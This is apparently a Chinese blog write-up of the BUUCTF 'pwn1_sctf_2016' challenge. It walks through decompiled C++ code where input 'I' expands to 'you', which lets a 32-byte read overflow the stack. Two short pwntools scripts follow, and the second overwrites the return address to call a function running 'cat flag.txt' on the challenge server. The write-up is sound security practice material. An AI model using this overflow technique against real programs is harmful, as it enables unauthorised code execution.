pwn1_sctf_2016

文章发布时间:

最后更新时间:

文章总字数:
643

预计阅读时间:
2 分钟

buuctf中的一题,纯纯烧杯题,这题注重考查c++逆向(但是我还是觉得是动手调试的能力)

老规矩了,checksec看一下保护机制和位数

a

感觉像是栈溢出,不确定,ida看看

b

哇,看到这函数列表懵逼了,不过别怕,仔细翻一番

c

逮到三个看名字有用的,f5看一下

main函数:

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}

vuln函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int vuln()
{
const char *v0; // eax
int v2; // [esp+4h] [ebp-54h]
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
char v4[4]; // [esp+3Ch] [ebp-1Ch] BYREF
char v5[7]; // [esp+40h] [ebp-18h] BYREF
char v6; // [esp+47h] [ebp-11h] BYREF
char v7[7]; // [esp+48h] [ebp-10h] BYREF
char v8[5]; // [esp+4Fh] [ebp-9h] BYREF

printf("Tell me something about yourself: ");
fgets(s, 32, edata);
std::string::operator=();
std::allocator<char>::allocator(&v6, s);
std::string::string(v5, "you", &v6);
std::allocator<char>::allocator(v8, v2);
std::string::string(v7, "I", v8);
replace((std::string *)v4);
std::string::operator=(&input, v4, v7, v5);
std::string::~string(v4);
std::string::~string(v7);
std::allocator<char>::~allocator(v8);
std::string::~string(v5);
std::allocator<char>::~allocator(&v6);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
return printf("So, %s\n", s);
}

gatflag函数:

1
2
3
4
int get_flag()
{
return system("cat flag.txt");

看完人更傻了,虽然getflag明显就是要我们栈溢出,跳转到这个函数,但是vuln写的是什么?

百度完应该是c++中std::string相关的用法

不过这题应该是要我们会用debug来调试程序

我们重点注意一下那一串天书里面的“I”和“you”,突破口肯定是这俩

浅写段exp,debug看看有什么玄机

1
2
3
4
5
6
from pwn import*
io = remote("node4.buuoj.cn",29397)
context.log_level = "debug" #这段就是打开debug,具体是什么,下面看到图你就知道了
payload = b'I'*6
io.sendline(payload)
io.recv()

d

好家伙,我们可以看到明明传的是I,结果都变成了you,那到这里很明显了,这题就是把字符串中的i替换成了you

我们再来看看能不能进行栈溢出

e

可以看到,我们只能输入0x20字节的数据给s,但是他距离ebp有0x3c,不够怎么办?

刚才不是输入I可以变成you吗?这不是一个字节顶三个字节,一节更比一节强(南孚打钱)

那思路很明显了,输入20个字长的I,就相当于输入了60个字长的you,我们就可以进行栈溢出了

exp:

1
2
3
4
5
6
from pwn import*
io = remote("node4.buuoj.cn",29397)
getflag_addr = 0x8048f0d
payload = b'I'*20+cyclic(4)+p32(getflag_addr)
io.sendline(payload)
io.recv()